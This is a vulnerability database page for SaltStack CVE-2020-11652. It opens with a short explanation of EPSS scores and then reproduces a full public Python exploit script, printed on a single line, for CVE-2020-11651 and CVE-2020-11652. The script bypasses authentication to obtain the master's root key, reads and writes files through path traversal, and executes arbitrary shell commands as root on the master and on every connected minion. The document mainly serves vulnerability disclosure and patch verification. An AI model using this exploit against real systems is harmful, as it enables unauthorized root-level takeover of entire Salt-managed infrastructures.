CVE-2020-11652 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Saltstack 3000.1 - Remote Code Execution # Date: 2020-05-04 # Exploit Author: Jasper Lievisse Adriaanse # Vendor Homepage: https://www.saltstack.com/ # Version: < 3000.2, < 2019.2.4, 2017.*, 2018.* # Tested on: Debian 10 with Salt 2019.2.0 # CVE : CVE-2020-11651 and CVE-2020-11652 # Discription: Saltstack authentication bypass/remote code execution # # Source: https://github.com/jasperla/CVE-2020-11651-poc # This exploit is based on this checker script: # https://github.com/rossengeorgiev/salt-security-backports #!/usr/bin/env python # # Exploit for CVE-2020-11651 and CVE-2020-11652 # Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc) # This exploit is based on this checker script: # https://github.com/rossengeorgiev/salt-security-backports from __future__ import absolute_import, print_function, unicode_literals import argparse import datetime import os import os.path import sys import time import salt import salt.version import salt.transport.client import salt.exceptions def init_minion(master_ip, master_port): minion_config = { 'transport': 'zeromq', 'pki_dir': '/tmp', 'id': 'root', 'log_level': 'debug', 'master_ip': master_ip, 'master_port': master_port, 'auth_timeout': 5, 'auth_tries': 1, 'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port) } return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear') # --- check funcs ---- def check_connection(master_ip, master_port, channel): print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='') sys.stdout.flush() # connection check try: channel.send({'cmd':'ping'}, timeout=2) except salt.exceptions.SaltReqTimeoutError: print("OFFLINE") sys.exit(1) else: print("ONLINE") def check_CVE_2020_11651(channel): print("[+] Checking if vulnerable to CVE-2020-11651... ", end='') sys.stdout.flush() try: rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3) except: print('ERROR') return None else: pass finally: if rets: print('YES') root_key = rets[2]['root'] return root_key print('NO') return None def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path): print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='') sys.stdout.flush() # try read file msg = { 'cmd': 'get_token', 'arg': [], 'token': top_secret_file_path, } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("YES") except: print("ERROR") raise else: if debug: print() print(rets) print("NO") def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key): print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='') sys.stdout.flush() # try read file msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': top_secret_file_path, 'saltenv': 'base', } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("TIMEOUT") except: print("ERROR") raise else: if debug: print() print(rets) if rets['data']['return']: print("YES") else: print("NO") def check_CVE_2020_11652_write1(debug, channel, root_key): print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='') sys.stdout.flush() # try read file msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.write', 'path': '../../../../../../../../tmp/salt_CVE_2020_11652', 'data': 'evil', 'saltenv': 'base', } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("TIMEOUT") except: print("ERROR") raise else: if debug: print() print(rets) pp(rets) if rets['data']['return'].startswith('Wrote'): try: os.remove('/tmp/salt_CVE_2020_11652') except OSError: print("Maybe?") else: print("YES") else: print("NO") def check_CVE_2020_11652_write2(debug, channel, root_key): print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='') sys.stdout.flush() # try read file msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'config.update_config', 'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652', 'yaml_contents': 'evil', 'saltenv': 'base', } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("TIMEOUT") except: print("ERROR") raise else: if debug: print() print(rets) if rets['data']['return'].startswith('Wrote'): try: os.remove('/tmp/salt_CVE_2020_11652.conf') except OSError: print("Maybe?") else: print("YES") else: print("NO") def pwn_read_file(channel, root_key, path, master_ip): print("[+] Attemping to read {} from {}".format(path, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': path, 'saltenv': 'base', } rets = channel.send(msg, timeout=3) print(rets['data']['return'][0][path]) def pwn_upload_file(channel, root_key, src, dest, master_ip): print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip)) sys.stdout.flush() try: fh = open(src, 'rb') payload = fh.read() fh.close() except Exception as e: print('[-] Failed to read {}: {}'.format(src, e)) return msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.write', 'saltenv': 'base', 'data': payload, 'path': dest, } rets = channel.send(msg, timeout=3) print('[ ] {}'.format(rets['data']['return'])) def pwn_exec(channel, root_key, cmd, master_ip, jid): print("[+] Attemping to execute {} on {}".format(cmd, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': 'runner', 'fun': 'salt.cmd', 'saltenv': 'base', 'user': 'sudo_user', 'kwarg': { 'fun': 'cmd.exec_code', 'lang': 'python', 'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd) }, 'jid': jid, } try: rets = channel.send(msg, timeout=3) except Exception as e: print('[-] Failed to submit job') return if rets.get('jid'): print('[+] Successfully scheduled job: {}'.format(rets['jid'])) def pwn_exec_all(channel, root_key, cmd, master_ip, jid): print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': '_send_pub', 'fun': 'cmd.run', 'user': 'root', 'arg': [ "/bin/sh -c '{}'".format(cmd) ], 'tgt': '*', 'tgt_type': 'glob', 'ret': '', 'jid': jid } try: rets = channel.send(msg, timeout=3) except Exception as e: print('[-] Failed to submit job') return finally: if rets == None: print('[+] Successfully submitted job to all minions.') else: print('[-] Failed to submit job') def main(): parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652') parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1') parser.add_argument('--port', '-p', dest='master_port', default='4506') parser.add_argument('--force', '-f', dest='force', default=False, action='store_false') parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true') parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true') parser.add_argument('--read', '-r', dest='read_file') parser.add_argument('--upload-src', dest='upload_src') parser.add_argument('--upload-dest', dest='upload_dest') parser.add_argument('--exec', dest='exec', help='Run a command on the master') parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions') args = parser.parse_args() print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.") time.sleep(1) # Both src and destination are required for uploads if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None): print('[-] Must provide both --upload-src and --upload-dest') sys.exit(1) channel = init_minion(args.master_ip, args.master_port) check_connection(args.master_ip, args.master_port, channel) root_key = check_CVE_2020_11651(channel) if root_key: print('[*] root key obtained: {}'.format(root_key)) else: print('[-] Failed to find root key...aborting') sys.exit(127) if args.run_checks: # Assuming this check runs on the master itself, create a file with "secret" content # and abuse CVE-2020-11652 to read it. top_secret_file_path = '/tmp/salt_cve_teta' with salt.utils.fopen(top_secret_file_path, 'w') as fd: fd.write("top secret") # Again, this assumes we're running this check on the master itself with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd: root_key = keyfd.read() check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path) check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key) check_CVE_2020_11652_write1(debug, channel, root_key) check_CVE_2020_11652_write2(debug, channel, root_key) os.remove(top_secret_file_path) sys.exit(0) if args.read_file: pwn_read_file(channel, root_key, args.read_file, args.master_ip) if args.upload_src: if os.path.isabs(args.upload_dest): print('[-] Destination path must be relative; aborting') sys.exit(1) pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip) jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()) if args.exec: pwn_exec(channel, root_key, args.exec, args.master_ip, jid) if args.exec_all: print("[!] Lester, is this what you want? Hit ^C to abort.") time.sleep(2) pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid) if __name__ == '__main__': main()